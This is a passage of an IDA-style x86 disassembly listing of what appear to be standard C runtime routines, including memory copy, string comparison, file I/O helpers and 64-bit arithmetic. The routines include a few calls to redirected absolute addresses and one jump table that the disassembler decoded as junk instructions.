[ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D420 cmp edi, eax jb loc_41D598 loc_41D420: ; CODE XREF: sub_41D400+16j test edi, 3 jnz short loc_41D43C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- loc_41D43C: ; CODE XREF: sub_41D400+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D454 and eax, 3 add ecx, eax jmp dword ptr loc_41D45C+4[eax*4] ; --------------------------------------------------------------------------- loc_41D454: ; CODE XREF: sub_41D400+46j jmp dword ptr loc_41D558[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D45C: ; CODE XREF: sub_41D400+31j ; sub_41D400+8Ej ... jmp off_41D4DC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D470 dd offset loc_41D49C dd offset loc_41D4C0 ; --------------------------------------------------------------------------- loc_41D470: ; DATA XREF: sub_41D400+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D49C: ; DATA XREF: sub_41D400+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D4C0: ; DATA XREF: sub_41D400+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D4DC dd offset loc_41D53F ; DATA XREF: sub_41D400:loc_41D45Cr dd offset loc_41D52C dd offset loc_41D524 dd offset loc_41D51C dd offset loc_41D514 dd offset loc_41D50C dd offset loc_41D504 dd offset loc_41D4FC ; --------------------------------------------------------------------------- loc_41D4FC: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D504: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D50C: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D514: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D51C: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D524: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D52C: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D53F: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400:off_41D4DCo jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D548 dd offset loc_41D558 ; DATA XREF: sub_41D400+35r ; sub_41D400+92r ... dd offset loc_41D560 dd offset loc_41D56C dd offset loc_41D580 ; --------------------------------------------------------------------------- loc_41D558: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D560: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D56C: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D580: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D598: ; CODE XREF: sub_41D400+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D5CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D5C0: ; CODE XREF: sub_41D400+1B1j ; sub_41D400+208j ... neg ecx jmp off_41D690[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D5CC: ; CODE XREF: sub_41D400+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D5E4 and eax, 3 sub ecx, eax jmp dword ptr loc_41D5E4+4[eax*4] ; --------------------------------------------------------------------------- loc_41D5E4: ; CODE XREF: sub_41D400+1D6j ; DATA XREF: sub_41D400+1DDr jmp off_41D6E0[ecx*4] ; --------------------------------------------------------------------------- align 4 clc aad 41h add [eax], bl setalc inc ecx add [eax-2Ah], al inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D694 dd offset loc_41D69C dd offset loc_41D6A4 dd offset loc_41D6AC dd offset loc_41D6B4 dd offset loc_41D6BC dd offset loc_41D6C4 off_41D690 dd offset loc_41D6D7 ; DATA XREF: sub_41D400+1C2r ; --------------------------------------------------------------------------- loc_41D694: ; DATA XREF: sub_41D400+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D69C: ; DATA XREF: sub_41D400+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D6A4: ; DATA XREF: sub_41D400+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D6AC: ; DATA XREF: sub_41D400+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D6B4: ; DATA XREF: sub_41D400+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D6BC: ; DATA XREF: sub_41D400+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D6C4: ; DATA XREF: sub_41D400+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D6D7: ; CODE XREF: sub_41D400+1C2j ; DATA XREF: sub_41D400:off_41D690o jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D6E0 dd offset loc_41D6F0 ; DATA XREF: sub_41D400+1B7r ; sub_41D400:loc_41D5E4r ... dd offset loc_41D6F8 dd offset loc_41D708 dd offset loc_41D71C ; --------------------------------------------------------------------------- loc_41D6F0: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D6F8: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D708: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D71C: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D400 endp ; =============== S U B R O U T I N E ======================================= sub_41D735 proc near ; CODE XREF: sub_40DA40+34p ; sub_40DA40+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BCAD pop ecx pop ecx retn sub_41D735 endp ; =============== S U B R O U T I N E ======================================= sub_41D743 proc near ; CODE XREF: sub_41D7B0+4p arg_0 = dword ptr 4 push esi push dword_4DADB4 call sub_422548 mov edx, dword_4DADB4 pop ecx mov ecx, dword_4DADB0 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D7A2 push edx call sub_422548 add eax, 10h push eax push dword_4DADB4 call sub_41BB48 add esp, 0Ch test eax, eax jnz short loc_41D785 retn ; --------------------------------------------------------------------------- loc_41D785: ; CODE XREF: sub_41D743+3Fj mov ecx, dword_4DADB0 sub ecx, dword_4DADB4 mov dword_4DADB4, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DADB0, ecx loc_41D7A2: ; CODE XREF: sub_41D743+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DADB0, 4 retn sub_41D743 endp ; =============== S U B R O U T I N E ======================================= sub_41D7B0 proc near ; CODE XREF: sub_40DB2D+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D743 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D7B0 endp ; --------------------------------------------------------------------------- push 80h call sub_41BC9B test eax, eax pop ecx mov dword_4DADB4, eax jnz short loc_41D7E3 push 18h call sub_41E1C9 mov eax, dword_4DADB4 pop ecx loc_41D7E3: ; CODE XREF: ___:0041D7D4j and dword ptr [eax], 0 mov eax, dword_4DADB4 mov dword_4DADB0, eax retn ; =============== S U B R O U T I N E ======================================= sub_41D7F1 proc near ; CODE XREF: sub_40DB4F+7Ap ; sub_40DB4F+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41D805 loc_41D7FD: ; CODE XREF: sub_41D7F1+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41D7FD loc_41D805: ; CODE XREF: sub_41D7F1+Aj mov edx, [esp+arg_4] push esi loc_41D80A: ; CODE XREF: sub_41D7F1+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41D80A pop esi retn sub_41D7F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D81B proc near ; CODE XREF: ___:0040E534p var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 27C0000h lea eax, [ebp+var_20] push eax nop call near ptr 28A0000h mov ax, [ebp+var_16] cmp ax, word_4D9782 jnz short loc_41D880 mov ax, [ebp+var_18] cmp ax, word_4D9780 jnz short loc_41D880 mov ax, [ebp+var_1A] cmp ax, word_4D977E jnz short loc_41D880 mov ax, [ebp+var_1E] cmp ax, word_4D977A jnz short loc_41D880 mov ax, [ebp+var_20] cmp ax, word_4D9778 jnz short loc_41D880 mov eax, dword_4D9770 jmp short loc_41D8C5 ; --------------------------------------------------------------------------- loc_41D880: ; CODE XREF: sub_41D81B+28j ; sub_41D81B+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2890000h cmp eax, 0FFFFFFFFh jz short loc_41D8AD cmp eax, 2 jnz short loc_41D8A9 cmp [ebp+var_32], 0 jz short loc_41D8A9 cmp [ebp+var_24], 0 jz short loc_41D8A9 push 1 pop eax jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D8A9: ; CODE XREF: sub_41D81B+7Aj ; sub_41D81B+81j ... xor eax, eax jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D8AD: ; CODE XREF: sub_41D81B+75j or eax, 0FFFFFFFFh loc_41D8B0: ; CODE XREF: sub_41D81B+8Cj ; sub_41D81B+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4D9778 movsd movsd movsd movsd pop edi mov dword_4D9770, eax pop esi loc_41D8C5: ; CODE XREF: sub_41D81B+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422571 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D8F5 mov [ecx], eax locret_41D8F5: ; CODE XREF: sub_41D81B+D6j leave retn sub_41D81B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D900 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4D97C8 cmp dword ptr [eax+8], 0 jnz short loc_41D953 mov al, 0FFh mov edi, edi loc_41D91C: ; CODE XREF: sub_41D900+28j ; sub_41D900+48j or al, al jz short loc_41D94E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D91C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D91C sbb al, al sbb al, 0FFh loc_41D94E: ; CODE XREF: sub_41D900+1Ej movsx eax, al jmp short loc_41D987 ; --------------------------------------------------------------------------- loc_41D953: ; CODE XREF: sub_41D900+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D95C: ; CODE XREF: sub_41D900+68j ; sub_41D900+80j or al, al jz short loc_41D987 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D95C push eax push ebx call sub_41DEEC mov ebx, eax add esp, 4 call sub_41DEEC add esp, 4 cmp bl, al jz short loc_41D95C sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D987: ; CODE XREF: sub_41D900+51j ; sub_41D900+5Ej pop ebx pop esi pop edi leave retn sub_41D900 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DA08 mov edi, [esp+14h] test edi, edi jz short loc_41D9AB cmp edi, 1 jz short loc_41D9AB cmp edi, 2 jnz short loc_41DA08 loc_41D9AB: ; CODE XREF: ___:0041D99Fj ; ___:0041D9A4j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D9C2 push esi call sub_4226CD add [esp+14h], eax pop ecx xor edi, edi loc_41D9C2: ; CODE XREF: ___:0041D9B3j push esi call sub_41E32B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D9D7 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D9EB ; --------------------------------------------------------------------------- loc_41D9D7: ; CODE XREF: ___:0041D9CEj test al, 1 jz short loc_41D9EB test al, 8 jz short loc_41D9EB test ah, 4 jnz short loc_41D9EB mov dword ptr [esi+18h], 200h loc_41D9EB: ; CODE XREF: ___:0041D9D5j ; ___:0041D9D9j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422633 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DA15 ; --------------------------------------------------------------------------- loc_41DA08: ; CODE XREF: ___:0041D997j ; ___:0041D9A9j mov dword_4D9714, 16h or eax, 0FFFFFFFFh loc_41DA15: ; CODE XREF: ___:0041DA06j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_41364F+19Ep ; sub_4143AC+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DA39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DA39: ; CODE XREF: sub_41DA20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA54 proc near ; CODE XREF: ___:00416640p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DA78 xor eax, eax jmp loc_41DB45 ; --------------------------------------------------------------------------- loc_41DA78: ; CODE XREF: sub_41DA54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DA8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DA92 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41DA54+2Dj mov [ebp+arg_C], 1000h loc_41DA92: ; CODE XREF: sub_41DA54+35j ; sub_41DA54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DAC6 mov eax, [esi+4] test eax, eax jz short loc_41DAC6 cmp ebx, eax mov edi, ebx jb short loc_41DAAC mov edi, eax loc_41DAAC: ; CODE XREF: sub_41DA54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CAB0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DB0C ; --------------------------------------------------------------------------- loc_41DAC6: ; CODE XREF: sub_41DA54+47j ; sub_41DA54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DB11 test ecx, ecx jz short loc_41DADA push esi call sub_41E32B test eax, eax pop ecx jnz short loc_41DB53 loc_41DADA: ; CODE XREF: sub_41DA54+79j cmp [ebp+arg_C], 0 jz short loc_41DAED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DAEF ; --------------------------------------------------------------------------- loc_41DAED: ; CODE XREF: sub_41DA54+8Aj mov edi, ebx loc_41DAEF: ; CODE XREF: sub_41DA54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_422825 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DB4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DB4A loc_41DB0C: ; CODE XREF: sub_41DA54+70j mov edi, [ebp+var_4] jmp short loc_41DB3A ; --------------------------------------------------------------------------- loc_41DB11: ; CODE XREF: sub_41DA54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F4BF pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DB53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DB3A mov [ebp+arg_C], 1 loc_41DB3A: ; CODE XREF: sub_41DA54+BBj ; sub_41DA54+DDj test ebx, ebx jnz loc_41DA92 mov eax, [ebp+arg_8] loc_41DB45: ; CODE XREF: sub_41DA54+1Fj ; sub_41DA54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DB4A: ; CODE XREF: sub_41DA54+ADj ; sub_41DA54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DB55 ; --------------------------------------------------------------------------- loc_41DB53: ; CODE XREF: sub_41DA54+84j ; sub_41DA54+CFj mov eax, edi loc_41DB55: ; CODE XREF: sub_41DA54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DB45 sub_41DA54 endp ; =============== S U B R O U T I N E ======================================= sub_41DB5E proc near ; CODE XREF: sub_416C63+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 2690D17h nop cmp eax, 0FFFFFFFFh jnz short loc_41DB7E call near ptr 26908A7h nop push eax call sub_420314 pop ecx loc_41DB7A: ; CODE XREF: sub_41DB5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DB7E: ; CODE XREF: sub_41DB5E+Dj test al, 1 jz short loc_41DB9F test [esp+arg_4], 2 jz short loc_41DB9F mov dword_4D9714, 0Dh mov dword_4D9718, 5 jmp short loc_41DB7A ; --------------------------------------------------------------------------- loc_41DB9F: ; CODE XREF: sub_41DB5E+22j ; sub_41DB5E+29j xor eax, eax retn sub_41DB5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DBB0 proc near ; CODE XREF: sub_416C7D+3Fp ; sub_41AE75+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DBD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DC13 ; --------------------------------------------------------------------------- loc_41DBD2: ; CODE XREF: sub_41DBB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DBE0: ; CODE XREF: sub_41DBB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DBE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DC0E cmp edx, [esp+8+arg_4] ja short loc_41DC0E jb short loc_41DC0F cmp eax, [esp+8+arg_0] jbe short loc_41DC0F loc_41DC0E: ; CODE XREF: sub_41DBB0+4Ej ; sub_41DBB0+54j dec esi loc_41DC0F: ; CODE XREF: sub_41DBB0+56j ; sub_41DBB0+5Cj xor edx, edx mov eax, esi loc_41DC13: ; CODE XREF: sub_41DBB0+20j pop esi pop ebx retn 10h sub_41DBB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DC20 proc near ; CODE XREF: sub_416C7D+2Dp ; sub_41AE75+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DC41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC41: ; CODE XREF: sub_41DC20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DC4F: ; CODE XREF: sub_41DC20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DC4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DC7A cmp edx, [esp+4+arg_4] ja short loc_41DC7A jb short loc_41DC82 cmp eax, [esp+4+arg_0] jbe short loc_41DC82 loc_41DC7A: ; CODE XREF: sub_41DC20+4Aj ; sub_41DC20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DC82: ; CODE XREF: sub_41DC20+52j ; sub_41DC20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DC91: ; CODE XREF: sub_41DC20+1Fj pop ebx retn 10h sub_41DC20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCA0 proc near ; CODE XREF: sub_416D8D+5Fp ; sub_416D8D+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DCC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DCC1: ; CODE XREF: sub_41DCA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DCDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DCDD: ; CODE XREF: sub_41DCA0+27j or eax, eax jnz short loc_41DCF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DD3A ; --------------------------------------------------------------------------- loc_41DCF9: ; CODE XREF: sub_41DCA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DD07: ; CODE XREF: sub_41DCA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DD07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DD35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DD35 jb short loc_41DD36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DD36 loc_41DD35: ; CODE XREF: sub_41DCA0+85j ; sub_41DCA0+8Bj dec esi loc_41DD36: ; CODE XREF: sub_41DCA0+8Dj ; sub_41DCA0+93j xor edx, edx mov eax, esi loc_41DD3A: ; CODE XREF: sub_41DCA0+57j dec edi jnz short loc_41DD44 neg edx neg eax sbb edx, 0 loc_41DD44: ; CODE XREF: sub_41DCA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DCA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD4A proc near ; CODE XREF: sub_41743B+BFp ; sub_41743B+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4D97D0 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DD7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DDE5 loc_41DD66: ; CODE XREF: sub_41DD4A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DD77 cmp cl, 7Ah jg short loc_41DD77 sub cl, 20h mov [edx], cl loc_41DD77: ; CODE XREF: sub_41DD4A+21j ; sub_41DD4A+26j inc edx cmp [edx], bl jnz short loc_41DD66 jmp short loc_41DDE5 ; --------------------------------------------------------------------------- loc_41DD7E: ; CODE XREF: sub_41DD4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4229D2 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DDD7 push edi call sub_41BC9B cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DDD7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4D97D0 call sub_4229D2 add esp, 20h test eax, eax jz short loc_41DDD7 push [ebp+var_4] push [ebp+arg_0] call sub_41C620 pop ecx pop ecx loc_41DDD7: ; CODE XREF: sub_41DD4A+53j ; sub_41DD4A+61j ... push [ebp+var_4] call sub_41BA31 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DDE5: ; CODE XREF: sub_41DD4A+1Aj ; sub_41DD4A+32j pop ebx leave retn sub_41DD4A endp ; =============== S U B R O U T I N E ======================================= sub_41DDE8 proc near ; CODE XREF: sub_417E35+1A8p arg_0 = dword ptr 4 cmp dword_43A88C, 1 jle short loc_41DDFF push 4 push [esp+4+arg_0] call sub_41F44A pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DDFF: ; CODE XREF: sub_41DDE8+7j mov eax, [esp+arg_0] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 4 retn sub_41DDE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DE10 proc near ; CODE XREF: sub_420445+76p ; sub_420445+88p ... arg_0 = dword ptr 4 cmp dword_43A88C, 1 jle short loc_41DE27 push 8 push [esp+4+arg_0] call sub_41F44A 